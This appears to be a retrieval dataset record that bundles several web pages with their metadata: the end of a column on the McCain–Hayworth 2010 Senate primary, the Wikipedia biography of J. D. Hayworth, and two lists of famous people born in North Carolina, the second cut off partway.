Voters incandescent about illegal immigration might be numerous enough to decide a primary. Some seasoned Arizona Republicans say, however, that such immigration has slowed as America’s economy has slowed. And they say the issue has lost some saliency here, and Arizona’s economy has suffered, as some Hispanics have moved to more hospitable states. Furthermore, Hayworth may not understand Arizona’s complex relationship to its centuries-old Hispanic dimension.
Democrats, having assumed that McCain will be nominated, have not groomed a top-tier opponent for him. They probably will find one if they think Hayworth can be nominated. As for the McCain-Hayworth contest, a wise Arizona Republican officeholder who is too prudent to abandon anonymity says each combustible candidate “has it in his power to lose.”
|
|||||
3358
|
dbpedia
|
1
| 0
|
https://en.wikipedia.org/wiki/J._D._Hayworth
|
en
|
J. D. Hayworth
|
[
"https://en.wikipedia.org/static/images/icons/wikipedia.png",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-wordmark-en.svg",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-tagline-en.svg",
"https://upload.wikimedia.org/wikipedia/commons/thumb/e/e4/J.D.Hayworth.jpg/220px-J.D.Hayworth.jpg",
"https://upload.wikimedia.org/wikipedia/commons/thumb/e/ed/Hayworth_and_Frank_Press_Conference.jpg/170px-Hayworth_and_Frank_Press_Conference.jpg",
"https://upload.wikimedia.org/wikipedia/en/thumb/4/4a/Commons-logo.svg/30px-Commons-logo.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/start?type=1x1",
"https://en.wikipedia.org/static/images/footer/wikimedia-button.svg",
"https://en.wikipedia.org/static/images/footer/poweredby_mediawiki.svg"
] |
[] |
[] |
[
""
] | null |
[
"Contributors to Wikimedia projects"
] |
2003-12-19T12:24:48+00:00
|
en
|
/static/apple-touch/wikipedia.png
|
https://en.wikipedia.org/wiki/J._D._Hayworth
|
American television host and politician (born 1958)
John David Hayworth Jr. (born July 12, 1958) is an American television host and former politician. He served as a Republican member of the United States House of Representatives from 1995 to 2007 from Arizona's 5th Congressional District. He later hosted Newsmax Prime, a television news/talk prime time show that airs weekdays at 8:00 p.m. Eastern Time and 5:00 p.m. Pacific Time on Newsmax TV. Previously, he hosted a conservative talk radio program on KFYI in Phoenix until January 2010, when he resigned due to his run for the U.S. Senate.
A graduate of North Carolina State University, Hayworth anchored sports reports for three television stations during the 1980s and early 1990s. In 1994, Hayworth was elected to represent Arizona's 6th congressional district, which was redistricted into the 5th District starting in the 2002 House elections. He was defeated in 2006 by Democratic candidate Harry Mitchell.
In 2010, he unsuccessfully ran for the U.S. Senate, losing to incumbent Senator John McCain in the Republican primary.[1][2]
Early life, education, and broadcasting career
[edit]
Hayworth was born in High Point, North Carolina. His grandfather, Ray Hayworth, was a Major League Baseball catcher from 1926 to 1945.[3] Hayworth received a bachelor's degree in speech communications and political science from North Carolina State University in Raleigh in 1980, where he was student body president during his senior year.[4]
He was a sportscaster for WPTF-TV in Raleigh/Durham, NC, WFBC-TV (now WYFF-TV), the NBC station in Greenville, South Carolina, from 1981 to 1986, and WLWT-TV in Cincinnati, Ohio from 1986 to 1987. From 1987 to 1994, he was the sports anchor on the news reports of KTSP-TV (later KSAZ-TV), which was then the CBS affiliate in Phoenix.
Hayworth married in 1989.[5] He and his wife Mary have three children.
U.S. House of Representatives
[edit]
Committees
[edit]
As a congressman, Hayworth served on the House of Representatives Committee on Ways and Means. He was the first ever representative from Arizona to have served on the committee.[6] While working on the committee, he was given a "satisfactory" (64 percent) rating from the National Taxpayers Union. Hayworth supported the tax cuts of 2001[7] and 2003,[8] signed into law by President George W. Bush.
Campaigns
[edit]
In 1994, Hayworth ran in what was then the 6th District and defeated incumbent Democrat Karan English, taking 54 percent of the vote to English's 42 percent. Hayworth criticized English's support for Bill Clinton's budget plan, which Hayworth termed the largest tax increase in history. English had been endorsed in her successful 1992 campaign by former state U.S. Senator and 1964 Republican presidential candidate Barry Goldwater when she ran against Doug Wead, but not in 1994 when she ran against Hayworth.
In 1996, Hayworth fired two of his campaign aides for their part in forging his signature to file a campaign affidavit on time. He won in 1996 with 48 percent of the vote, defeating Democrat Steve Owens.
In 1998, Hayworth signed and filed the form in person, with television cameras, campaign volunteers, and the Arizona Secretary of State watching. He again defeated Owens, 52 percent to 45 percent.
His next three elections he won handily: He won in 2000 against Larry K. Nelson, 60 percent to 37 percent; in 2002 against Craig Columbus, getting 61 percent of the vote; and in 2004 against Justice Elizabeth Rogers, getting 60 percent.
During his first four terms, Hayworth represented a district that took in most of the northeastern portion of the state, including Flagstaff. Most of its population, however, was located in the Phoenix suburbs. After the 2000 census, his district was renumbered the 5th District and was made a much more compact district centered on the northeastern Valley—including all of Tempe, Scottsdale and Fountain Hills, western Mesa, and Chandler, and part of northeastern Phoenix. Despite a modest Republican registration advantage, it was considered to be slightly less conservative than other suburban Phoenix districts.
Media profile
[edit]
Known for his outspoken nature—he called President Clinton an "unprincipled philandering president" who had "the most corrupt administration in U.S. history"[9] – Hayworth is a frequent guest on conservative TV and talk radio. He sometimes substitutes as host of the nationally syndicated Laura Ingraham political commentary show on the Talk Radio Network.
Hayworth has never shied away from controversy. In the same campaign letter in which he criticized Clinton, he said his Democratic opponent was "bankrolled by trial lawyers, radical homosexual rights groups, environmental extremists ... along with almost every other left-wing wacko group you can think of."[9]
Political positions
[edit]
Hayworth is a staunch conservative. He supports stronger border security and opposes the temporary worker program proposed by President George W. Bush for illegal aliens.
In January 2006, Regnery published Whatever It Takes: Illegal Immigration, Border Security, and the War on Terror, a book by Hayworth and his chief of staff, Joseph J. Eule. In the book, Hayworth said that Bush is too close to GOP contributors from the agribusiness, meat packing and construction industries, whom he calls "addicted" to a steady stream of workers from Mexico and Central America to keep wages down. Hayworth also argues that current immigration law misinterprets the 14th Amendment to the Constitution, saying that a child of undocumented immigrants born in the U.S. should not be given U.S. citizenship (a view he has reiterated during the 2010 campaign[10]), and advocates the "Americanization" program Henry Ford advocated in an interview with the New York Times in 1914.[11]
The ever-so-successful process that used to be called "Americanization" was a major movement in the early 1900s ... Henry Ford, a leader in this movement, said, "These men of many nations must be taught American ways, the English language, and the right way to live." Talk like that today and our liberal elites will brand you a cultural imperialist, or worse. But if you ask me, Ford had a better idea.
Hayworth is the chairman of the advisory committee of the United States Justice Foundation.[2]
2006 congressional campaign
[edit]
Hayworth had considered running for the Governor of Arizona in the 2006 elections against incumbent Democrat Janet Napolitano, but in March 2005 he announced that he preferred to stay in Congress. In the spring of 2005, Napolitano was enjoying a 79 percent favorable job rating.[12]
In the 2006 election, Hayworth faced former Tempe mayor, state senator, and then-state Democratic Party chairman Harry Mitchell. A number of prominent Republicans endorsed Mitchell,[13] and this defection appeared to have influenced the general election. CD-5, despite having a 60% Republican active registered voter advantage over Democrats (139,057 vs 86,743 in October 2006),[14] nevertheless saw Hayworth narrowly defeated by Mitchell. While most media outlets called the race for Mitchell on election night, Hayworth refused to concede due to a large number of absentee and early-voting ballots. However, when it became apparent that Mitchell's lead was too large to overcome, Hayworth conceded on November 14. He ultimately lost by 8,000 votes.
Radio/TV talk show host
[edit]
On April 23, 2007, it was announced on Phoenix radio station KFYI that Hayworth would begin hosting an afternoon drive time (4–7 p.m.) talk show on the station starting April 26, 2007.[15] Hayworth left his position as a political talk show host following his January 22, 2010 broadcast. At the time of his resignation he made the decision to challenge John McCain in the 2010 Republican primary election for U.S. Senate.[2][16]
On January 3, 2012, Hayworth began a stint hosting a morning show on KSFO in San Francisco, California.
On April 10, 2012, former presidential candidate and former Governor of Arkansas Mike Huckabee replaced Hayworth on KSFO. Hayworth was a sometime fill-in when Huckabee is away from his radio show.
On March 8, 2013, it was announced that Hayworth would become the new co-host for the morning talk show on XEPRS-AM 1090 in Tijuana/San Diego. He joined Lee Hamilton. On August 30, 2013, he left XEPRS 1090.[17]
2010 Senate campaign
[edit]
In November 2009, Rasmussen Reports released the results of a poll of likely 2010 Republican primary voters in Arizona showing a statistical tie in a hypothetical primary challenge to incumbent John McCain for the 2010 Republican U.S. Senate nomination in Arizona.[18] Hayworth said he was considering running against McCain because he has "a profound disagreement with Senator John McCain over the concept of amnesty, whether he wants to call it comprehensive immigration reform or a pathway for guest workers to remain."[19][20]
In February, 2010, Hayworth announced that he was indeed running against McCain.[21] By mid March, Rasmussen reported only 7 points separating the two. Some credit was given to other McCain challengers' dropping out, thereby allowing Hayworth to pick up their support.[22]
During the campaign, Hayworth displayed his ignorance of history by stating that the United States never declared war on Germany during the Second World War.[23] The United States, in response to Germany's declaration of war against the United States, declared war on Germany on December 11, 1941.[24]
It was also discovered that Hayworth, the alleged fiscal conservative, had participated in an infomercial in which he encouraged persons to obtain “free money” from the United States government through a program widely criticized as a scam, leading one person to call Hayworth a “trashy, idiotic crook.”[25]
On August 25, 2010, Hayworth was defeated by John McCain 57–32% in the Arizona Senate primary.[26]
References
[edit]
J.D. Hayworth for U.S. Senateofficial campaign site
Biography at the Biographical Directory of the United States Congress
Financial information (federal office) at the Federal Election Commission
Profile at Vote Smart
Campaign contributions at OpenSecrets
Campaign contributions at OpenSecrets (U.S. House)
Campaign finance reports and data at the Federal Election Commission (U.S. House)
Associated Press profile
Appearances on C-SPAN
|
||||||
3358
|
dbpedia
|
3
| 20
|
https://www.wbtv.com/2022/03/07/famous-actors-north-carolina/
|
en
|
Famous actors from North Carolina
|
[
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/WO3OCMK2VFC5DL6K5USJ5UKTIY.jpg?auth=0ded4abb4c11124904bf3720ba7d3b7375355dd4430c014fac754b0eddb1f22d&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/AN2HJVHKFRAGLMXN6G4WJAABUI.png?auth=fbd5bb4fe29ee4455a3737b6e94cc29b3f21de4c9f28936cab3a41b8303f64e6&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/O6QHV3B6ENHMRA4AADQOE4GQKE.jpg?auth=2783bff310aa41453f2b069dcb10225c220ac03d0f3c8d6178489628356e71d2&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/PSNCMEFWKNDE7IOLTYEJNNGTGA.png?auth=37da7d828e690b0abcd9011520578ad4104f71536a7f1e05e8f69a9516be8051&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/NPQ5FX6ASJG75KCSOO3H6O22XA.jpg?auth=15276423b7164017131ca0e83db3dbe38933a7171ddad359501114925b81d069&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/YYP57357QJG53P7SIKYBQ64ZHI.png?auth=340af0658740fd138b0df238c60e569ab8a17eff0c5c447ccf299703d73af53e&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/L7EPXEUITVAC7IXCO3Y7XVEMMM.jpg?auth=f62c6f9918440122e7ed1e37f35ebec469570db3ddb9466535879fc72b6a6cfb&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/VMJ3TKKCENFGTHMWE5BQ5ODG4Q.jpg?auth=2be503a15f3679b90e22ad4ac3b8f91a1a2e680d7a1accc2e9824fae0ec8f7cb&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/VD35PGXPJNF4DNJBVAD2P5DTHQ.jpg?auth=09b5cb4894f347dfc442e5c4b1817e08589873db07f07eb28c32c3be6ddbd11b&width=800&height=450&smart=false&focal=2543%2C2818",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/WVB4A4ZGWVBOHDCPAG7PZD7B2A.jpg?auth=c68161c99acf7ef42cdefbd7e048bede57a1bfb56356de731786da17fa4fea6f&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/4XVM3T6JXJEBRCJTUMYQKRMOL4.jpg?auth=adb629993529002da4f250096d3333751e3ab9c90ea3a050b80ef1603f3740a7&width=800&height=450&smart=false&focal=619%2C361",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/HD32WPGGFJBYFJE4ZK5RN2KKSA.jpg?auth=75f6331e071b7e29f623fa7c6d3e0630277019237e170cc6c7a418f8d57b9df6&width=800&height=450&smart=false&focal=3070%2C1226",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/https%3A%2F%2Fdo0bihdskp9dy.cloudfront.net%2F08-19-2024%2Ft_3313f0ee7a204a228a3b687980abbdfa_name_Sam_Roary.png?auth=c1bc945526fef623ddbc4a4d052498aba6f7418550ba2c31eb16f19294b45b69&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/https%3A%2F%2Fdo0bihdskp9dy.cloudfront.net%2F08-19-2024%2Ft_dc95c77e3f4f4d128e6306ff4ddbbda0_name_FOUND_SAFE.png?auth=505a8c42b1d8b998aa976f24223ca1563159de6e4050bfbdc44bd3b3e124629a&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/https%3A%2F%2Fdo0bihdskp9dy.cloudfront.net%2F08-19-2024%2Ft_3184564a53044c56873ee6249c75baf3_name_wilhoit1.png?auth=d3e506dc9d31a3da46fbdba5f0893eac084db004102ad0da0a63857cc1c2fe5d&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/3PA4T44O3NFDHPLKYDELVTH3BI.png?auth=9bdb5c9fa591ecfcea4ccbc614f27f64b462060258eaec210a38bc1785f77b55&width=800&height=450&smart=true",
"https://gray-wbtv-prod.cdn.arcpublishing.com/resizer/v2/CD67ZRRC5BDJXIXF2STYXR2BQA.png?auth=66e4a55e794a8706c9ba313c309eb1461bb37ade39070ff69737557fb4f84a8f&width=800&height=450&smart=true"
] |
[] |
[] |
[
"north carolina",
"actors",
"entertainment"
] | null |
[
"Stacker"
] |
2022-03-07T00:00:00
|
From A-list movie stars and major musicians to pro ball players and comedians who landed their own sitcoms, there's no shortage of evidence of just how good the good life is.
|
en
|
//webpubcontent.gray.tv/gray/arc-fusion-assets/images/favicons/wbtv/favicon.ico?d=427
|
https://www.wbtv.com
|
https://www.wbtv.com/2022/03/07/famous-actors-north-carolina/
|
Admiring and envying the world's biggest stars is easy to do on Instagram. From A-list movie stars and major musicians to pro ball players and comedians who landed their own sitcoms, there's no shortage of evidence of just how good the good life is. They post pictures of themselves with other big shots on rooftop bars, at exclusive clubs, at backstage parties, and at restaurants where regular people can't get a reservation.
But the vast majority of these celebrities were born and raised outside of Hollywood, finding their way to the bright lights and big money of superstardom from obscure beginnings in regular small towns or cities across the country.
Stacker compiled a list of actors that were born in North Carolina from IMDb’s most popular list. For each actor, we included a movie poster image from a film he is known for (all movie poster images from OMDb). Keep reading to see which favorite actors are from your home state.
You may also like: Famous actresses from North Carolina
Michael C. Hall
- Born: Raleigh, North Carolina (2/1/1971)
- Known for:
--- Dexter Morgan in "Dexter" (2006-2013)
--- Ken Castle in "Gamer" (2009)
--- David Fisher in "Six Feet Under" (2001-2005)
Brian Tyree Henry
- Born: Fayetteville, North Carolina (3/31/1982)
- Known for:
--- Jefferson Davis in "Spider-Man: Into the Spider-Verse" (2018)
--- Daniel Carty in "If Beale Street Could Talk" (2018)
--- Jamal Manning in "Widows" (2018)
Zach Galifianakis
- Born: Wilkesboro, North Carolina (10/1/1969)
- Known for:
--- Alan in "The Hangover" (2009)
--- Jake in "Birdman or (The Unexpected Virtue of Ignorance)" (2014)
--- Ethan Tremblay in "Due Date" (2010)
Aldis Hodge
- Born: Onslow County, North Carolina (9/20/1986)
- Known for:
--- Levi Jackson in "Hidden Figures" (2016)
--- Jim Brown in "One Night in Miami..." (2020)
--- Raymond in "Die Hard with a Vengeance" (1995)
Nick Searcy
- Born: Cullowhee, North Carolina (3/7/1959)
- Known for:
--- General Hoyt in "The Shape of Water" (2017)
--- Father Montgomery in "Three Billboards Outside Ebbing, Missouri" (2017)
--- Art Mullen in "Justified" (2010-2015)
You may also like: Countries North Carolina imports the most goods from
J.B. Smoove
- Born: Plymouth, North Carolina (12/16/1965)
- Known for:
--- Mr. Dell in "Spider-Man: Far from Home" (2019)
--- Cabbie in "Date Night" (2010)
--- Flats in "Hall Pass" (2011)
Jim Rash
- Born: Charlotte, North Carolina (7/15/1971)
- Known for:
--- Lewis in "The Way Way Back" (2013)
--- Dean Pelton in "Community" (2009-2015)
--- Writer in "The Descendants" (2011)
Paul Schneider
- Born: Asheville, North Carolina (3/16/1976)
- Known for:
--- Gus in "Lars and the Real Girl" (2007)
--- Paul in "All the Real Girls" (2003)
--- Mr. Brown in "Bright Star" (2009)
Andy Griffith
- Born: Mount Airy, North Carolina (6/1/1926)
- Died: 7/3/2012
- Known for:
--- Andy Taylor in "The Andy Griffith Show" (1960-1968)
--- Larry 'Lonesome' Rhodes in "A Face in the Crowd" (1957)
--- Old Joe in "Waitress" (2007)
Matthew Settle
- Born: Hickory, North Carolina (9/17/1969)
- Known for:
--- Jacob Wheeler in "Into the West" (2005)
--- Will Benson in "I Still Know What You Did Last Summer" (1998)
--- Larson in "U-571" (2000)
You may also like: Best community colleges in North Carolina
Robert Duncan McNeill
- Born: Raleigh, North Carolina (11/9/1964)
- Known for:
--- Kevin Corrigan in "Masters of the Universe" (1987)
--- Lt. Tom Paris in "Star Trek: Voyager" (1995-2001)
--- Producer in "The Battery" (1998)
Christoph Sanders
- Born: Hendersonville, North Carolina (4/21/1988)
- Known for:
--- Kyle Anderson in "Last Man Standing" (2011-2021)
--- Hoyt in "Faith Based" (2020)
--- Wooden's Boy in "Hounddog" (2007)
Murray Hamilton
- Born: Washington, North Carolina (3/24/1923)
- Died: 9/1/1986
- Known for:
--- Vaughn in "Jaws" (1975)
--- Mr. Robinson in "The Graduate" (1967)
--- Alphonse Paquette in "Anatomy of a Murder" (1959)
John Newton
- Born: Chapel Hill, North Carolina (12/29/1965)
- Known for:
--- Antonio 'Tintín' Vizintín in "Alive" (1993)
--- Sgt. Cody Cullen in "The Christmas Card" (2006)
--- Ryan McBride in "Melrose Place" (1998-1999)
Geno Segers
- Born: Winston-Salem, North Carolina (11/28/1976)
- Known for:
--- Dwayne in "Perfect Harmony" (2019-2020)
--- Danny Trudeau in "Yellowstone" (2018)
--- Chayton Littlestone in "Banshee" (2014-2016)
You may also like: Most popular boy names in the 80s in North Carolina
Lee Norris
- Born: Greenville, North Carolina (9/25/1981)
- Known for:
--- Young Mike Mageau in "Zodiac" (2007)
--- Officer in "Gone Girl" (2014)
--- Marvin 'Mouth' McFadden in "One Tree Hill" (2003-2012)
Drew Starkey
- Born: Hickory, North Carolina (11/4/1993)
- Known for:
--- Garrett in "Love, Simon" (2018)
--- Cop 115 in "The Hate U Give" (2018)
--- Rafe in "Outer Banks" (2020-2021)
Edwin Hodge
- Born: Onslow County, North Carolina (1/26/1985)
- Known for:
--- Dorian in "The Tomorrow War" (2021)
--- Basketball Teen #1 in "Big Momma's House" (2000)
--- Bloody Stranger in "The Purge" (2013)
Brandon W. Jones
- Born: Greensboro, North Carolina (5/7/1988)
- Known for:
--- Andrew Campbell in "Pretty Little Liars" (2013-2015)
--- Charlie Russell in "CSI: Crime Scene Investigation" (2011-2012)
--- Liam in "Lie to Me" (2010-2011)
Lachlan Watson
- Born: Raleigh, North Carolina (4/12/2001)
- Known for:
--- Theo Putnam in "Chilling Adventures of Sabrina" (2018-2020)
--- Sasha in "Electric Easy" (2021)
--- Make-Up Department in "Passing" (2019)
You may also like: Most popular baby names for boys of the last decade in North Carolina
Sean Bridgers
- Born: Chapel Hill, North Carolina (3/3/1968)
- Known for:
--- Old Nick in "Room" (2015)
--- Chris Cleek in "The Woman" (2011)
--- Will Sumrall in "Free State of Jones" (2016)
Burgess Jenkins
- Born: Winston-Salem, North Carolina (10/24/1973)
- Known for:
--- Ray Budds in "Remember the Titans" (2000)
--- Dr. Todd Lowry in "Chicago Med" (2021)
--- Beau in "Uncle Frank" (2020)
Tequan Richmond
- Born: Burlington, North Carolina (10/30/1992)
- Known for:
--- Bryson Broyer in "Boomerang" (2019-2020)
--- Drew in "Everybody Hates Chris" (2005-2009)
--- T.J. Ashford in "General Hospital" (2012-2018)
Brian Huskey
- Born: Charlotte, North Carolina (9/8/1968)
- Known for:
--- Leon West in "Veep" (2012-2019)
--- Victor Schmemmerhorn-Fish V in "Another Period" (2013-2018)
--- Regular Sized Rudy in "Bob's Burgers" (2013-2021)
Isaac Powell
- Born: Greensboro, North Carolina (12/30/1994)
- Known for:
--- Actor in "Cat Person"
--- Rhys in "Dear Evan Hansen" (2021)
--- Troy Lord in "American Horror Story" (2021)
You may also like: Best places to retire in North Carolina
Christian Jules Le Blanc
- Born: Fort Bragg, North Carolina (8/25/1958)
- Known for:
--- Patrolman Junior Abernathy in "In the Heat of the Night" (1988)
--- Michael Baldwin in "The Young and the Restless" (1991-2021)
--- Sheriff in "Perry Mason: The Case of the Killer Kiss" (1993)
Torrey B. Lawrence
- Born: Rocky Mount, North Carolina (3/18/1974)
- Known for:
--- Saloon Hardcase in "The Harder They Fall" (2021)
--- Joe in "Aquarium of the Dead" (2021)
--- Gabriel in "The Annunciation" (2018)
Yusuf Gatewood
- Born: Hillsborough, North Carolina (9/12/1982)
- Known for:
--- Doug in "The Interpreter" (2005)
--- Howard in "Wonder Boys" (2000)
--- Vincent Griffith in "The Originals" (2014-2018)
Randy Boone
- Born: Fayetteville, North Carolina (1/17/1942)
- Known for:
--- Randy Benton in "The Virginian" (1964-1966)
--- Easy in "Terminal Island" (1973)
--- Francis in "Cimarron Strip" (1967-1968)
George Grizzard
- Born: Roanoke Rapids, North Carolina (4/1/1928)
- Died: 10/2/2007
- Known for:
--- John Bradley in "Flags of Our Fathers" (2006)
--- Ed Thompson in "Bachelor Party" (1984)
--- Senator Fred Van Ackerman in "Advise & Consent" (1962)
You may also like: Most popular boy names in the 70s in North Carolina
James McEachin
- Born: Rennert, North Carolina (5/20/1930)
- Known for:
--- Victor Milson in "2010: The Year We Make Contact" (1984)
--- Al Monte in "Play Misty for Me" (1971)
--- Det. Arthur Brown in "Fuzz" (1972)
Ben Cook
- Born: Eden, North Carolina (12/11/1997)
- Known for:
--- Aaron Fisher in "Paterno" (2018)
--- Mouthpiece in "West Side Story" (2021)
--- Adam Turner in "Law & Order: Special Victims Unit" (2017)
Jack Hogan
- Born: Chapel Hill, North Carolina (11/25/1929)
- Known for:
--- Kirby in "Combat!" (1962-1967)
--- Chief Ranger Jack Moore in "Sierra" (1974)
--- Billy Riker in "Sea Hunt" (1958-1959)
Gregory Walcott
- Born: Wendell, North Carolina (1/13/1928)
- Died: 3/20/2015
- Known for:
--- Jeff Trent in "Plan 9 from Outer Space" (1957)
--- Pope in "The Eiger Sanction" (1975)
--- Potential Backer in "Ed Wood" (1994)
Sidney Blackmer
- Born: Salisbury, North Carolina (7/13/1895)
- Died: 10/6/1973
- Known for:
--- Roman Castevet in "Rosemary's Baby" (1968)
--- Seth Lord in "High Society" (1956)
--- Fernand Mondego in "The Count of Monte Cristo" (1934)
You may also like: Most popular baby names for girls of the last decade in North Carolina
Eric Freeman
- Born: Raleigh, North Carolina (7/13/1965)
- Known for:
--- Ricky Caldwell in "Silent Night, Deadly Night Part 2" (1987)
--- Bones in "In Living Color" (1990-1992)
--- Jeff in "Murder Weapon" (1989)
Jareb Dauplaise
- Born: North Carolina (3/18/1979)
- Known for:
--- Frat Guy in "Transformers: Revenge of the Fallen" (2009)
--- Nacho Libre in "Epic Movie" (2007)
--- Jareb in "Drillbit Taylor" (2008)
Michael Johnston
- Born: Rutherfordton, North Carolina (2/22/1996)
- Known for:
--- Corey in "Teen Wolf" (2015-2017)
--- Adam in "Supergirl" (2018)
--- Neil in "Slash" (2016)
Loudon Wainwright III
- Born: Chapel Hill, North Carolina (9/5/1946)
- Known for:
--- Beamen in "Big Fish" (2003)
--- Grandpa Goodman in "G-Force" (2009)
--- Uncle Dale in "Elizabethtown" (2005)
David Aaron Baker
- Born: Durham, North Carolina (8/14/1963)
- Known for:
--- Millroy in "Edge of Darkness" (2010)
--- Man Getting into Cab in "Two Weeks Notice" (2002)
--- Dan Stein in "Kissing Jessica Stein" (2001)
|
||||
3358
|
dbpedia
|
3
| 2
|
https://explorationsolo.com/famous-people-from-north-carolina/
|
en
|
50 Famous People From North Carolina
|
[
"https://explorationsolo.com/wp-content/uploads/2019/08/ExplorationSolo_Logo.png",
"https://explorationsolo.com/wp-content/uploads/2019/08/ExplorationSolo_Logo.png",
"https://explorationsolo.com/wp-content/uploads/2022/11/Mayberry-sheriff-decal-on-side-of-car.jpg 1000w, https://explorationsolo.com/wp-content/uploads/2022/11/Mayberry-sheriff-decal-on-side-of-car-300x225.jpg 300w, https://explorationsolo.com/wp-content/uploads/2022/11/Mayberry-sheriff-decal-on-side-of-car-768x577.jpg 768w",
"https://explorationsolo.com/wp-content/uploads/2022/11/Mayberry-sheriff-decal-on-side-of-car.jpg",
"https://explorationsolo.com/wp-content/uploads/2022/11/Charlie-Daniels-playing-violin-on-stage.jpg 1000w, https://explorationsolo.com/wp-content/uploads/2022/11/Charlie-Daniels-playing-violin-on-stage-300x225.jpg 300w, https://explorationsolo.com/wp-content/uploads/2022/11/Charlie-Daniels-playing-violin-on-stage-768x577.jpg 768w",
"https://explorationsolo.com/wp-content/uploads/2022/11/Charlie-Daniels-playing-violin-on-stage.jpg",
"https://explorationsolo.com/wp-content/uploads/2022/11/Harlem-globetrotters-star-on-walk-of-fame.jpg 1000w, https://explorationsolo.com/wp-content/uploads/2022/11/Harlem-globetrotters-star-on-walk-of-fame-300x225.jpg 300w, https://explorationsolo.com/wp-content/uploads/2022/11/Harlem-globetrotters-star-on-walk-of-fame-768x577.jpg 768w",
"https://explorationsolo.com/wp-content/uploads/2022/11/Harlem-globetrotters-star-on-walk-of-fame.jpg",
"https://explorationsolo.com/wp-content/uploads/2022/11/Several-cars-rouding-turn-in-NASCAR-race.jpg 1000w, https://explorationsolo.com/wp-content/uploads/2022/11/Several-cars-rouding-turn-in-NASCAR-race-300x225.jpg 300w, https://explorationsolo.com/wp-content/uploads/2022/11/Several-cars-rouding-turn-in-NASCAR-race-768x577.jpg 768w",
"https://explorationsolo.com/wp-content/uploads/2022/11/Several-cars-rouding-turn-in-NASCAR-race.jpg",
"https://secure.gravatar.com/avatar/f2abae9543c3d136fe81b47c82770d0e?s=160&r=g 2x",
"https://secure.gravatar.com/avatar/f2abae9543c3d136fe81b47c82770d0e?s=80&r=g",
"https://explorationsolo.com/wp-content/uploads/2020/02/IMG_4983-2-768x1024-1-225x300.jpg",
"https://explorationsolo.com/wp-content/uploads/2021/04/ebook-hero-1.jpg 800w, https://explorationsolo.com/wp-content/uploads/2021/04/ebook-hero-1-300x188.jpg 300w, https://explorationsolo.com/wp-content/uploads/2021/04/ebook-hero-1-768x480.jpg 768w",
"https://explorationsolo.com/wp-content/uploads/2021/04/ebook-hero-1.jpg",
"https://explorationsolo.com/wp-content/uploads/2021/04/Cold-Weather-hero-for-home-page-300x157.jpg 300w, https://explorationsolo.com/wp-content/uploads/2021/04/Cold-Weather-hero-for-home-page-1024x536.jpg 1024w, https://explorationsolo.com/wp-content/uploads/2021/04/Cold-Weather-hero-for-home-page-768x402.jpg 768w, https://explorationsolo.com/wp-content/uploads/2021/04/Cold-Weather-hero-for-home-page.jpg 1200w",
"https://explorationsolo.com/wp-content/uploads/2021/04/Cold-Weather-hero-for-home-page-300x157.jpg"
] |
[] |
[] |
[
""
] | null |
[
"Alison W",
"www.facebook.com"
] |
2022-11-14T16:54:28+00:00
|
North Carolina is home to many famous people from movie stars to singers to athletes to historical figures.
|
en
|
Exploration Solo
|
https://explorationsolo.com/famous-people-from-north-carolina/
|
North Carolina is home to many famous people from movie stars to singers to athletes to historical figures. This shouldn’t be too surprising since North Carolina is an amazing state with a lot to offer.
To keep the list from getting out of hand, I instituted two rules. First, the person must have been born in North Carolina. Secondly, they must have lived in North Carolina for at least five years.
If you compare this list to others, you’ll find the criteria removed quite a few people. That doesn’t mean they aren’t true North Carolinians. It’s just a fun way to learn more about our famous residents.
I even added an Honorable Mention because one person needed to be on this list despite the criteria.
Read on for famous North Carolinians.
Actors and Actresses
North Carolina has no shortage of talented actors. Several movies and television shows have been filmed in the state, strengthening our ties to the industry. You may be surprised by a few names on the list.
Ava Gardner
Born December 24, 1922, in Grabtown, NC (near Smithfield). Ava graduated from high school in Wilson County.
Smithfield is home to the Ava Gardner Museum which sponsors an annual festival in her honor.
Known for: Hollywood actress known for her role as Kitty Collins in “The Killers”.
Murray Hamilton
Born March 24, 1923, in Washington, NC. He attended Washington High School.
Known for: He has many films under his belt but may be most recognizable as Mayor Larry Vaughn in “Jaws”.
Andy Griffith
Born Jun 1, 1926, in Mount Airy, NC. Andy grew up in Mount Airy and attended UNC-Chapel Hill University.
Mount Airy was used as the inspiration for Mayberry in The Andy Griffith Show.
Known for: Sheriff Andy in “The Andy Griffith Show”.
Soupy Sales
Born Milton Supman January 8, 1926, in Franklinton, NC. His father passed away when Sales was five and the family moved to Huntington, West Virginia.
Known for: Best known for his children’s television series, “Lunch with Soupy Sales”.
Emily Procter
Born October 8, 1968, in Raleigh, NC. She attended Ravenscroft School and East Carolina University. Emily was also a television weather anchor in Greenville, NC.
Known for: Best known for her role as Calleigh Duquesne in “CSI Miami”.
Zach Galifianakis
Born October 1, 1969, in Wilkesboro, NC. Zack attended Wilkes Central High School and North Carolina State University.
Known for: A staple in Hollywood, Zach is best known for his role as Alan Garner in “The Hangover”.
Bellamy Young
